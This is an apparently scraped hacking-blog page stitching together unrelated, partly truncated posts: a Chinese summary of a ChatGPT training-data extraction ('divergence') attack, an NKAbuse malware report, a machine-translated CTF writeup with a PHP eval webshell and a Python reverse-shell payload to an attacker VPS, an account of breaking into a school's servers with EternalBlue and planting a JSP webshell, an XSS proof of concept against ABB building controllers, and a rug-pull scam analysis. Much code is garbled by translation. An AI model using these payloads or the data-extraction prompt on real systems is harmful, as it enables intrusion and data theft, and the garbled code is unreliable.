Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863106467

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0.png

ChatGPT等大語言模型(LLM)使用來自圖書、網站及其他來源的海量文本數據進行訓練,通常情況下,訓練它們所用的數據是一個秘密。然而,最近的一項研究揭示:它們有時可以記住並反芻訓練它們所用的特定數據片段。這個現象名為“記憶”。

隨後,來自谷歌DeepMind、華盛頓大學、加州大學伯克利分校及其他機構的研究人員著手去研究這些模型(包括ChatGPT)可以記住多少數據以及記住哪種類型的數據。

這項研究的重點是“可提取的記憶”,即人們可以通過提出特定的問題或提示從模型中檢索的記憶。他們想看看外部實體是否可以在事先不知道有什麼數據的情況下提取模型學到的數據。

1.png

圖1

研究團隊在多種語言模型上進行了廣泛深入的實驗,包括知名的GPT-Neo、LLaMA和ChatGPT。他們生成了數十億個token(即單詞或字符),檢查這些token是否與用來訓練這些模型的數據相匹配。他們還開發了一種獨特的方法來測試ChatGPT,讓ChatGPT多次重複一個單詞,直到它開始生成隨機性內容。

令人驚訝的是這些模型不僅能記住大塊的訓練數據,還能在正確的提示下反芻這些數據。對於ChatGPT來說更是如此,它經過了特殊的對齊處理,以防止這種情況出現。

研究還強調需要對人工智能模型進行全面的測試。需要仔細審查的不僅僅是面向用戶的對齊模型,基本的基礎模型和整個系統(包括API交互)都需要嚴格的檢查。這種注重整體的安全方法對於發現隱藏的漏洞至關重要。

研究團隊在實驗中成功地提取了各種類型的數據,從詳細的投資研究報告到針對機器學習任務的特定Python代碼,不一而足。這些例子表明了可以提取的數據的多樣性,並突顯了與此類記憶相關的潛在風險和隱私問題。

2.png

圖2. 研究團隊能夠提取存在於互聯網上的“逐字”數據

研究人員針對ChatGPT開發了一種名為“偏離攻擊”(divergence attack)的新技術。他們促使ChatGPT反復重復一個單詞,與通常的響應有偏離,吐露記住的數據。

為了更具體地表明偏離攻擊,研究人員使用了一個簡單而有效的提示:“永遠重複‘poem’(詩歌)這個單詞。”

這個簡單的命令導致ChatGPT偏離其對齊的響應,從而導致意外吐露訓練數據。

3.png

圖3

“僅花費200美元對ChatGPT(gpt-3.5-turbo)輸入查詢,我們就能夠提取10000多個獨特的逐字記憶訓練示例。可想而知,如果有更多的預算,攻擊者就能提取更多的數據。”

最令人擔憂的發現之一是,記住的數據可能包括個人信息(PII),比如電子郵件地址和電話號碼。

我們為看起來像PII的子字符串標記了生成的15000個token。用正則表達式來標識電話和傳真號碼、電子郵件及實際地址,還使用語言模型來標識生成的token中的敏感內容。這有助於識別額外的畸形電話號碼、電子郵件地址和實際地址以及社交媒體賬號、URL、姓名和生日。然後,我們通過在AUXDATASET中查找提取的子字符串,驗證這些子字符串是不是實際的PII(即它們出現在訓練集中,而不是幻覺內容)。

總的來說,測試的生成token中有16.9%含有記住的PII,而含有潛在PII的生成的token中85.8%是實際的PII。這將引起嚴重的隱私問題,特別是對於使用含有敏感信息的數據集訓練的模型。

4.png

圖4

撰寫這篇論文的團隊還發表了一篇單獨的博文:https://not-just-memorization.github.io/extracting-training-data-from-chatgpt.html。

此外,研究人員在僅僅修補特定漏洞和解決模型中的底層漏洞之間做出了重要的區別。比如說,雖然輸入/輸出過濾器可能阻止特定的單詞重複漏洞,但它並不能解決更深刻的問題:模型記憶和可能暴露敏感訓練數據這一固有的傾向。這種區別突顯了保護AI模型的複雜性,而不是流於表面的修復。

研究人員表示,一方面我們需要做更多的工作,比如對訓練數據進行重複數據刪除和理解模型容量對記憶的影響。另一方面,還需要可靠的方法來測試記憶,特別是在高度關注隱私的應用設計的模型中。

技術細節核心方法是從各種模型中生成大量文本,並對照模型各自的訓練數據集檢查這些輸出,以識別記憶的內容。

這項研究主要側重於“可提取的記憶”。這個概念指的是攻擊者在不事先了解訓練集的具體內容下,能夠從模型中有效地恢復訓練數據。該研究旨在通過分析模型輸出與訓練數據的直接匹配來量化這種記憶。

研究團隊在各種模型上進行了實驗,包括GPT-Neo和Pythia等開源模型、LLaMA和Falcon等半開源模型以及ChatGPT等閉源模型。研究人員從這些模型中生成了數十億個token,並使用後綴數組有效地匹配訓練數據集。後綴數組是一種數據結構,允許在較大的文本語料庫中快速搜索子字符串。

對於ChatGPT,由於其會話性質和對齊訓練——這通常阻止直接訪問語言建模功能,研究人員採用了一種“偏離攻擊”,促使ChatGPT無數次重複一個單詞,直到偏離標準的響應模式。這種偏離經常導致ChatGPT吐露從訓練數據中記憶的序列。

5.png

圖5

針對ChatGPT“偏離攻擊”的例子:模型被促使重複說“book”,導致最初的準確重複,然後轉向隨機內容。文本輸出標以紅色陰影,表明k-gram與訓練數據集匹配的長度。較短的匹配(比如10個token的短語“I mean, it was dark, but,”)通常是巧合。然而,較長的序列(比如來自《现代童话》 系列的摘錄)不太可能是巧合,這表明來自訓練數據的直接記憶。

該研究通過檢查與訓練數據匹配的一小部分模型輸出來量化記憶率,他們還分析了獨特的記憶序列的數量,發現記憶率明顯高於之前的研究。

研究人員採用古德圖靈(Good-Turing)頻率估計來估計總記憶量。這種統計方法根據觀察到的頻率預測遇到新記憶序列的可能性,提供了一種從有限樣本中推斷總記憶量的穩健方法。

研究探討了模型大小與記憶傾向之間的關係。得出,更龐大、功能更強的模型通常更容易受到數據提取攻擊,這表明模型容量和記憶程度之間存在著關聯。研究人員建議,應該通過傳統軟件系統的視角看待語言模型,這需要我們改變對待語言模型安全分析的方式。

這個觀點勢必需要一種更嚴謹、更系統化的方法來確保機器學習系統的安全性和隱私性,這是人工智能安全領域需要邁出的一大步。

研究人員發現一款基於Go的多平台惡意軟件——NKAbuse,這是首個發現的濫用新網絡技術(NKN)進行數據交換的惡意軟件。

NKNNKN(新網絡技術)是一種使用區塊鏈技術管理資源和維護安全以及透明模型的去中心化點對點網絡協議。 NKN的作用之一是優化數據傳輸速率和網絡延遲,具體步驟是通過計算高效的數據包傳遞路徑來實現的。與Tor網絡類似,個人用戶可以通過運行節點加入NKN網絡。目前,NKN網絡有大約60710個節點,大量階段的參與可以增強網絡的魯棒性、去中心化、以及處理大量數據的能力。

image.png

圖NKN的數據流動

NKAbuse惡意軟件NKAbuse是一款基於Go的多平台惡意軟件,這是首個濫用新網絡技術(NKN)進行數據交換的惡意軟件,主要攻擊位於墨西哥、哥倫比亞和越南的Linux主機。其中一個NKAbuse感染的案例利用了Apache Struts漏洞(CVE-2017-5638)來攻擊金融機構。雖然大多數攻擊的目標是Linux計算機,但惡意軟件也可以入侵物聯網設備,並支持MIPS、ARM和386架構。

DDoS攻擊NKAbuse錄用NKN公鏈協議來實現大量的洪氾攻擊,並在Linux系統中植入後門。具體來說,惡意軟件客戶端與殭屍主機通過NKN來發送和接收數據。 C2發送的payload命令包括針對特定目標的HTTP、TCP、UDP、PING、ICMP、SSL洪氾攻擊等。

image.png

圖DDoS攻擊命令

所有這些payload之前也被用於殭屍網絡,因此當與NKN相結合後,惡意軟件就可以等待管理主機發起混合攻擊。

RAT除了DDoS能力外,NKAbuse還可以在被入侵的系統中作為遠程訪問木馬(RAT),允許其運營者進行命令執行、數據竊取和截屏等操作。

image.png

圖NKAbuse的截屏功能

NKAbuse濫用NKN發起的DDoS攻擊很難溯源到特定的基礎設施,並且不會被大多數安全工具標記因為來源於一個新的協議。而使用區塊鏈技術可以確保可用性,複雜的攻擊源頭使得這一威脅變得很難應對。

更多參見:https://securelist.com/unveiling-nkabuse/111512/

web

ezphp

タイトル説明:衛星通信技術に焦点を当てた研究チームは、データ送信の効率とセキュリティを改善するためのコミュニケーションシステムを改善するために取り組んでいます。チームは、通信システムの開発を改善するためにPHP 8.3.2を使用することにしました。

テストポイント:PHPフィルターチェーンオラクル

PHPフィルターチェーン—— Oracleベースのファイルリーディング攻撃

参照:https://xz.aliyun.com/t/12939?time__1311=mqmhqix%2bxfod7dloagkwepsazhg%3d4d#toc-16

質問のソースコードは次のとおりです

?php

highlight_file(__ file__);

//flag.php

if(isset($ _ post ['f'])){

echo hash_file( 'md5'、$ _post ['f']);

}

image-20240721022130265

ここで入手可能なプロジェクト:https://github.com/synacktiv/php_filter_chains_oracle_exploit/

テストポイント:PHPフィルターチェーンを使用- Oracleベースのファイルリーディング攻撃で、EXP実行を生成します。この質問は、PHPバージョン番号が条件を満たしているだけであることを促します。

image-20240721022317838

ペイロードを実行する、ここでさらに数回実行する必要があるかもしれません

python3 filters_chain_oracle_exploit.py - ターゲットhttp://eci-2zea1zzp9231ugqw9htd.cloudeci1.icunqiu.com/---file flag.php -parameter f

アクセス /flag.php?ezphpphp8生成されたソースコードを読み取ります

image-20240721022347849

image-20240721022524879

?php

if(isset($ _ get ['ezphpphp8'])){

highlight_file(__ file__);

} それ以外{

die( 'no');

}

$ a=new class {

function __construct()

{

}

関数getFlag()

{

System( 'cat /flag');

}

};

Unset($ a);

$ a=$ _get ['ezphpphp8'];

$ f=new $ a();

$ f-getflag();

この質問は、PHPバージョンがPHP 8.3.2であることを促しています。 PHPの公式Webサイトにアクセスして、Changelogを表示し、GH-13097を直接ロックします。

image-20240721030306000

ローカルデバッグ、匿名のクラスを使用してフラグを読むことができ、ペイロードを構築できることがわかりました

コンテナをローカルに作成します。

Docker run -ITD -P 1238:80 PHP:8.3.2 -APACHE

docker exec -itコンテナID /bin /bash

flag.phpとテストコードを次のように配置します。

?php

if(isset($ _ get ['ezphpphp8'])){

//highlight_file(__ file__);

} それ以外{

//die( 'no');

}

$ anonymous=new class {

function __construct()

{

}

関数getFlag()

{

System( 'cat /flag');

}

};

$ a=get_class($ anonymous);

echo urlencode($ a);

echo '\ n';

Unset($ anonymous);

//echo get_class($ a)。 ':今、あなたは私を見ます.';

$ a=urldecode( 'class%40anonymous%00%2fvar%2fwww%2fhtml%2fflag.php%3a7%240');

$ f=new $ a();

$ f-getflag();

var_dump($ f);

//新しい例外を投げる(

//get_class($ anonymous)。今、あなたは\ 't!'をしないでください

//e_user_error

//);

GetFlagメソッドを実行できることがわかります。

image-20240721030403850

image-20240721022458707

expを構築する:

/flag.php?ezphpphp8=anonymous

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$1

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$0

image-20240721022543080

unauth

ログインポートを起動します

image-20240721022613215

Webサイトパス/www.zipの管理者とのパスワードが漏れました:

image-20240721022644892

www.zip漏れたソースコードは次のとおりです。

?php

if(!isset($ _ server ['php_auth_user'])){

ヘッダー( 'www-authenticate: Basic Realm='制限領域'');

ヘッダー( 'http/1.0 401承認');

Echo 'Xiao Mingは運用およびメンテナンスエンジニアであり、最近Webサイトにバグがありました。 ';

出口;

} それ以外{

$ validuser='admin';

$ validPass='2E525E29E465F45D8D7C56319FE73036';

if($ _server ['php_auth_user']!=$ validuser || $ _server ['php_auth_pw']!=$ validpass){

ヘッダー( 'www-authenticate: Basic Realm='制限領域'');

ヘッダー( 'http/1.0 401承認');

エコー「無効な資格情報」;

出口;

}

}

@eval($ _ get ['cmd']);

highlight_file(__ file__);

簡単な監査を行うことができ、コマンドを実行できますが、それらのほとんどは禁止されています。

ログインした後、パスワードCMDを搭載したTrojanの文があり、多くの機能を禁止しました。テスト後、PCNTL_EXECを使用してシェルをリバウンドできることがわかりました。

//パスパラメーター、リバウンドシェルを投稿します

1=pcntl_exec( '/usr/bin/python'、array( '-c'、 'import socket、subprocess、os; s=socket.socket(socket.af_inet、socket.sock_stream、socket.sol_tcp); s.connect((' vpsアドレス」、ポートpot) sh '、' -i ']);')

最終的に、あなたは権利を上げる必要があります。私はsuidを試しましたが、失敗しました。パスワードが管理者ユーザーパスワードである構成ファイルconfig.inc.phpがあることがわかりました。

image-20240721022721413

! - ?php

#MySQLデータベースに接続するのに問題があり、以下のすべての変数が正しい場合

#localhostから127.0.0.1に「db_server」変数を変更してみてください。ソケットのために問題を修正します。

#修正について@digininjaに感謝します。

#使用するデータベース管理システム

$ dbms='mysql';

#$ dbms='pgsql'; //現在無効になっています

#データベース変数

#Warning: db_databaseで指定されているデータベースは、セットアップ中に完全に削除されます。

#DVWA専用のデータベースを使用してください。

#mariadbを使用している場合は、rootを使用できません。専用のDVWAユーザーを作成する必要があります。

#これの詳細については、readme.mdを参照してください。

$ _DVWA=array();

$ _DVWA ['db_server']='127.0.0.1';

$ _dvwa ['db_database']='dvwa';

$ _dvwa ['db_user']='root';

$ _DVWA ['DB_PassWord']='B90E0086D8B1165403DE6974C4167165';

#PostgreSQL/PGSQLデータベースの選択でのみ使用。

$ _dvwa ['db_port']='5432';

#recaptcha設定

#「不安定なCaptcha」モジュールに使用されます

#独自のキーを生成する必要がありますat: https://www.google.com/recaptcha/admin

$ _dvwa ['recaptcha_public_key']='6ldk7xitaazzaajqtfl7fu6i-0apl8khhieat_yjg';

$ _dvwa ['recaptcha_private_key']='6ldk7xitazzaal_uw9yxvuopoihpzlfw2k1n5nvq';

#デフォルトのセキュリティレベル

#各セッションのセキュリティレベルのデフォルト値。

#デフォルトは「不可能」です。これを「低」、「中」、「高」、または不可能」に設定することをお勧めします。

$ _DVWA ['Default_Security_Level']='Impossion';

#デフォルトのphpidsステータス

#各セッションでPHPIDSステータス。

#デフォルトは「無効」です。これを「有効」または「無効」のいずれかに設定できます。

$ _DVWA ['Default_Phpids_Level']='Disabled';

#verbose phpidsメッセージ

#これを有効にすると、WAFがブロックされたリクエストでリクエストをブロックした理由が示されます。

#デフォルトは「無効」です。これを「真」または「偽」のいずれかに設定できます。

$ _DVWA ['default_phpids_verbose']='false';

? -

パケットはシェルをリバウンドし、コマンドをインタラクティブシェルに実行し、取得したパスワードB90E0086D8B1165403DE6974C4167165を使用して管理者ユーザーに切り替えてフラグを読み取ります

得る/?cmd=pcntl_exec( '/usr/bin/python'、['-c'、base64_decode( 'aw1wb3j0ihnvy2tldcxzdwjwcm9jz) xnzlg9zo3m9c29ja2v0lnnvy2tldchzb2nrzxququzfsu5fvcxzb2nrzxquu09ds19tvfjfqu0po3muy29ubm vjdcgoijey4xmjMumtizljeyismtiznckpo29zlmr1cdiocy5mawxlbm8okwktsgb3muzhvwmizlmz pbgvubygpldepo29zlmr1cdiocy5mawxlbm8okswyktpbxbvcnqgchr5oybwdhkuc3bhd24oinnoiik='))); HTTP/1.0

host: xxx.com

pragma: no-cache

Cache-Control: No-Cache

Authorization: BASIC YWRTAW46MMU1MJVLMJLLNDY1ZJQ1ZHKN2M1NJMXOWZLNZMWMZY=

アップグレード-Insecure-Requests: 1

www-authenticate: Basic Realm='制限領域

user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10_15_7)AppleWebkit/537.36(Khtml、geckoのような)Chrome/123.0.0.0 Safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.7

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、JA; Q=0.8、VI; Q=0.7

cookie: phpsessid=

Connection:閉じます

image-20240721022743516

遊び場

RUSTソースコード監査の質問は、次のようにソースコードを提供します、この質問は基本的に解決されます

#[macro_use] extern crateロケット;

STD:FSを使用します。

STD:FS:3360FILEを使用します。

STD:IO:3360WRITEを使用します。

STD:Process:Commandを使用します。

RAND:3360RNGを使用します。

#[得る('/')]

fn index() - string {

fs:read_to_string( 'main.rs')。unwrap_or(string:default()))

}

#[post( '/rust_code'、data='code')]

fn run_rust_code(code: string) - string {

code.contains( 'std'){

return 'error: stdは許可されていません'.to_string();

}

//ランダムな5長さファイル名を生成します

let file_name=rand:3360thread_rng()

.sample_iter(rand:3360distributions:alphanumeric)

.take(5)

.map(char: -from)

.COLLECT:STRING();

let let ok(mut file)=file:3360create(format!( 'playground/{}。rs'、file_name)){

file.write_all(code.as_bytes());

}

OK(build_output)=command:New( 'rustc')の場合

.arg(format!( 'playground/{}。rs'、file_name)))

.arg( '-C')

.arg( 'debuginfo=0')

.arg( '-C')

.arg( 'opt-level=3')

.arg( '-o')

.arg(format!( 'playground/{}'、file_name))

.output(){

if!build_output.status.success(){

FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));

return String:from_utf8_lossy(build_output.stderr.as_slice())。to_string();

}

}

FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));

OK(output)=command:New(format!( 'playground/{}'、file_name))の場合

.output(){

if!output.status.success(){

FS:REMOVE_FILE(format!( 'playground/{}'、file_name));

return string:from_utf8_lossy(output.stderr.as_slice())。to_string();

} それ以外{

FS:REMOVE_FILE(format!( 'playground/{}'、file_name));

return string:from_utf8_lossy(output.stdout.as_slice())。to_string();

}

}

return string:default();

}

#[打ち上げ]

fn rocket() - _ {

figment=rocket:config3360:figment()

.merge(( 'address'、 '0.0.0.0'));

Rocket:Custom(figment).Mount( '/'

他自己的学校“涂黑”可能是学生在学生中大多数黑人富裕学生的普遍痴迷。

前言:

一时兴起,我突然想看看学校是否可以使用永恒的蓝色击落机器,顺便说一句,我想看看Intranet渗透是否渗透了。当刚刚揭示了永恒的蓝色利用工具时,我想到了最后一个测试。当时,MSF尚未集成,因此直接使用MSF更加方便。

信息收集:

已知10.10.10.0/24 IPS用于学校的各种服务器

使用MSF中的批处理MS17_010验证模块:

123456MSF5使用辅助/扫描仪/smb/smb/smb/smb/smb/smb_ms17_010 msf5辅助(scanner/smb/smb/smb/smb/smb/smb/smb/smb/smb_ms17_010)set rhosts 10.10.0.0.0.10.10.10.10.10.254rhost=10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.254MSF5辅助(scanner/smb/smb/smb_ms17_010)设置线程20 threads=20msf5辅助(scanner/smb/smb/smb/smb/smb/smb_ms17_010)exploit扫描的结果如下

2

漏洞开发:

获取CMDShell

IP为10.10.10.104(2008 x64)的主机可以成功使用:

此主机的关键信息:端口8080正在运行Tomcat的服务,端口3389不打开,3306正在运行MySQL服务,暂时未考虑其他端口。

123456789111121314151617192021222222222426MMSF5使用Exploit/windows/windows/smb/msb/ms17_010_eternalblue msf5 exploit(windows/smb/smb/ms17_010_eternalblue) (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The target port (TCP) SMBDomain .否(可选)用于身份验证的Windows域SmbPass no(可选)指定用户名Smbuser no(可选)用户名为VERIFY_ARCH true是的,请检查远程体系结构是否与Exploit target.exploit Target : ID名称---- 0 Windows 7 Windows 7和Server 2008 R2(x64 R2) exploit(Windows/SMB/MS17_010_ETERNALBLUE)设置RHOST 10.10.10.10.104RHOSTS=10.10.10.10.10.104MSF5 EXPLOIT(Windows/SMB/MS17_010_ETERNALBLUE)运行以下图成功返回了CMDSHELL,并且还可以直接返回系统权限。但是,任务清单/SVC查看当前过程并具有360个主动防御,这更加令人困惑。根据原则,应将其阻止。也许我很幸运2333:

3

cmdshell升级仪表台(失败)

由于CMDShell不像MeterPreter(MeterPreter具有相对功能强大的功能)那样容易使用,因此请尝试升级到MeterPreter

第一个方法:

12345678911112131415MSF5 exploit(Windows/SMB/MS17_010_ETERNALBLUE)使用POST/MULTI/MALTI/MANCAN/MANCAN/SHELL/SHELP_TO_METERPRETER MSF5 POST(multi/shell_to_to_to_meter) ------------------------------------------------ true是启动一个漏洞/多/处理程序,以接收接收有效载荷连接的主机的连接lhost lhost no IP(将尝试自动检测)。 LPORT 4433是有效载荷连接到的端口。会话是的会话会话。

1件-U 1,我不知道为什么失败(更改想法):

4

远程文件下载:

Windows随附的远程文件下载功能非常强大,因此您可以下载所需的任何内容。

一开始,我想直接打开端口并使用我的帐户登录。我没想到远程连接存在问题。然后我以为我可以带外壳尝试一下。

启用远程连接

此计算机打开Apache服务,将3389. bat放入/var/www/html中,在cmdshell中执行它。下载成功后,运行3389.bat

1bitsadmin /Transfer N http://IP /OPEN3389.BAT C: \ Windows \ Windows \ 3389.Bat运行后(记住要删除),发现端口3389已打开

5

在Kali下连接到远程桌面的问题很小。 Baidu之后,我没有清楚地解释这一点(我暂时放弃了)。

6

但是,当我切换到Win系统时,似乎没有问题,因为我考虑了如何方便地进行操作(物理机器运行Kali,如果我切换回赢),我不会捕获密码。

7

尝试getshell

首先找到Web所在的目录(请记住用空格的目录进行双引号):

1234dir C: \ dir'c: \ program Files \'. dir'C: \ Program Files \ apache Software Foundation \ tomcat 7.0 \ webapps \ eleserver \ eLeserver \'看起来应该是电源管理系统:

8

最后,我决定将外壳放在系统的UI框架的目录中。

9

还使用远程文件将JSP马来西亚下载到此目录

1bitsadmin /Transfer N http://IP /Xieying.jsp'C: \ Program Files \ Apache Software Foundation \ Apache Software Foundation \ Tomcat 7.0 \ WebApps \ Eleserver \ Eleserver \ bjui \ bjui \ plugins \ xieying.jsp

10

结束

我觉得它只是远程登录。无需浏览系统文件并删除电源系统和备份数据库的战争包。在本地构建它,您应该能够获取系统的帐户密码。

删除外壳后,我仍然是一个听话和好学生。

ABB Cylon Aspect 3.08.02 (licenseServerUpdate.php) Stored Cross-Site Scripting
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from an authenticated stored cross-site
scripting vulnerability. Input passed to the 'host' POST parameter is not
properly sanitised before being returned to the user. This can be exploited
to execute arbitrary HTML/JS code in a user's browser session in context of
an affected site.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
           ErgoTech MIX Deployment Server 2.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5906
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5906.php
CVE ID: CVE-2024-6516
CVE URL: CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-6516


21.04.2024

-->



                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                            
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                               
                                                                                                               

<body>
  <form action="http://192.168.73.31/licenseServerUpdate.php" method="post">
    <input type="hidden" name="licenseServer" value="Server" />
    <input type="hidden" name="host" value="'><script>confirm(document.domain)</script>" />
    <input type="submit" value="Submit" />
  </form>
</body>
</html>
            

01.png

“Rug Pull”是一種常見的加密騙局,往往發生於DeFi領域。 DeFi,即“去中心化金融(Decentralized Finance)”,也被稱為“開放式金融”,是以比特幣和以太幣為代表的加密貨幣,區塊鍊和智能合約結合的產物。 DeFi有兩大支柱,一是以比特幣和以太幣為代表的穩定幣,二是實現交易、借貸和投資的智能合約。

Rug Pull騙局通常是指加密行業項目方突然放棄某一個項目或撤出流動性池子,捲走用戶投資資金的詐騙行為,通俗的講就是捲款跑路。

詐騙者在“Rug Pull”之前,會先創建一個加密項目,通過各種營銷手段吸引加密用戶投資,並在合適的時機突然捲走用戶投資的資金,拋售加密資產,投資該項目的用戶也將蒙受巨大損失。

Rug Pull事件回顧FairWin (2019):FairWin 是在以太坊區塊鏈上運作的龐氏騙局,它承諾通過名為FairWin 智能合約的去中心化應用程序(dApp)獲得高回報。然而,該項目的開發商最終捲走了投資者的資金,造成估計數百萬美元的損失。

PlusToken(2019):PlusToken 是一種影響全球的加密貨幣龐氏騙局。它聲稱可以提供高收益的投資回報,並吸引了大量參與者。然而,在2019 年中期,該計劃的運營商消失了,帶走了估計價值20 億美元的加密貨幣。

YAM Finance(2020):YAM Finance 是一個建立在以太坊區塊鏈上的DeFi 項目。它旨在創建一個去中心化的穩定幣和流動性挖礦平台。然而,啟動後不久,就發現了一個編碼缺陷,導致該項目無法持續。 YAM代幣價值暴跌至零,導致投資者遭受重大損失。

Meerkat Finance(2021):Meerkat Finance 是幣安智能鏈(BSC)上的去中心化流動性挖礦項目。它聲稱通過其金庫提供高回報。然而,項目啟動後48小時內,開發商就耗盡了該項目的資金,造成約3100萬美元的損失。

最近,又有攻擊者利用Rug Pull計劃成功竊取了近100萬美元。我們將在本文深入研究這個精心設計的加密騙局的細節,並了解它是如何詐騙的?

Check Point最近識別出了以下地址0x6b140e79db4d9bbd80e5b688f42d1fcf8ef97798涉及Rug Pull活動,威脅識別系統已經開始監控與錢包地址相關的活動:

1.png

這是詐騙錢包的餘額,這個地址操作了40個不同的Rug,已經被盜了近100萬美元。

2.png

詐騙(0x6b140e79db4d9bbd80e5b688f42d1fcf8ef97798)的策略是根據最新的炒作來創建代幣,以引誘受害者購買他的代幣,例如,代幣名稱GROK 2.0 (0xd4b726c5b5e6f63d16a2050ee3ac4a0f0f81f1d4),可能來源於一個知名的人工智能係統(X GROK),旨在吸引買家。幾週前,受埃隆马云惹不起马云馬斯克AI 項目啟發的原始Grok 代幣的推動,根據DEXTools 的數據,交易量超過600,000 美元。

這個精心設計的騙局是如何運作的,它是如何成功捲走大批量錢的?下面是詳細分析。

創建假令牌:騙局始於創建欺騙性令牌,以令牌GROK 2.0為例,名字的選擇通常反映了熱門話題,以吸引毫無戒心的買家。

向流動性池中添加資金:為了製造合法性假象,詐騙向代幣池中註入資金,創造了一個充滿活力和活躍的代幣的假象。

精心策劃的交易活動:利用合約中的專門功能(0x521da65d),詐騙者執行模擬交易,使其看起來好像真正的買賣正在發生。然而,這只是詐騙精心策劃的一個詭計。

增加交易量:另一個功能(0xf029e7cf)開始發揮作用,促進了WETH加密貨幣和GROK令牌之間的大規模交易。這種人為的通貨膨脹創造了一種高需求和高價值的感覺,吸引投資者加入。

吸引買家:利用代幣的吸引力,用戶開始購買,沒有意識到即將發生的欺騙。

卷錢:一旦代幣充分吸引了投資者,詐騙就會執行最後一步——從代幣池中撤出流動性,讓代幣購買者空手而歸。

5.png

技術分析詐騙者使用兩種不同的智能合約進行交易並增加代幣數量。他使用的第一個合約地址是0x2ef3216e95e2b7c8e378ae64534100e69598f955,其中包含模擬交易功能(0x521da65d)。

函數0 x521da65d函數0x521da65d負責為詐騙出售和購買令牌,這個函數已經為這個令牌執行了226次。函數的行為取決於布爾值varg7,它決定了函數的運行路線,導致了兩個獨立的執行路線。

4.png

第一條路線(0x306b)是從WETH加密貨幣交換到GROK 2.0(購買),如下圖所示:

5.png

第二條路由(0x2bac)表示從GROK 2.0到WETH(銷售)的交換。

6.png

對於第二個智能合約,詐騙者使用地址0x4b2a0290e41623fbfeb5f6a0ea52dc261b65e29b進行操作,在那裡他執行函數0xf029e7cf來人為地提高令牌的數量。

函數0 xf029e7cf這個函數接收五個參數:

7.png

解碼發送給此函數的以下數據,揭示以下參數:

8.png

Varg0是Uniswap路由器地址,詐騙將使用它來交換令牌。

Varg1是WETH加密貨幣地址,將用於與GROK令牌進行交換。

Varg2是GROK 2.0令牌地址。

Varg3是要交換的令牌的數量。

Varg4是交換這個令牌的次數。

9.png

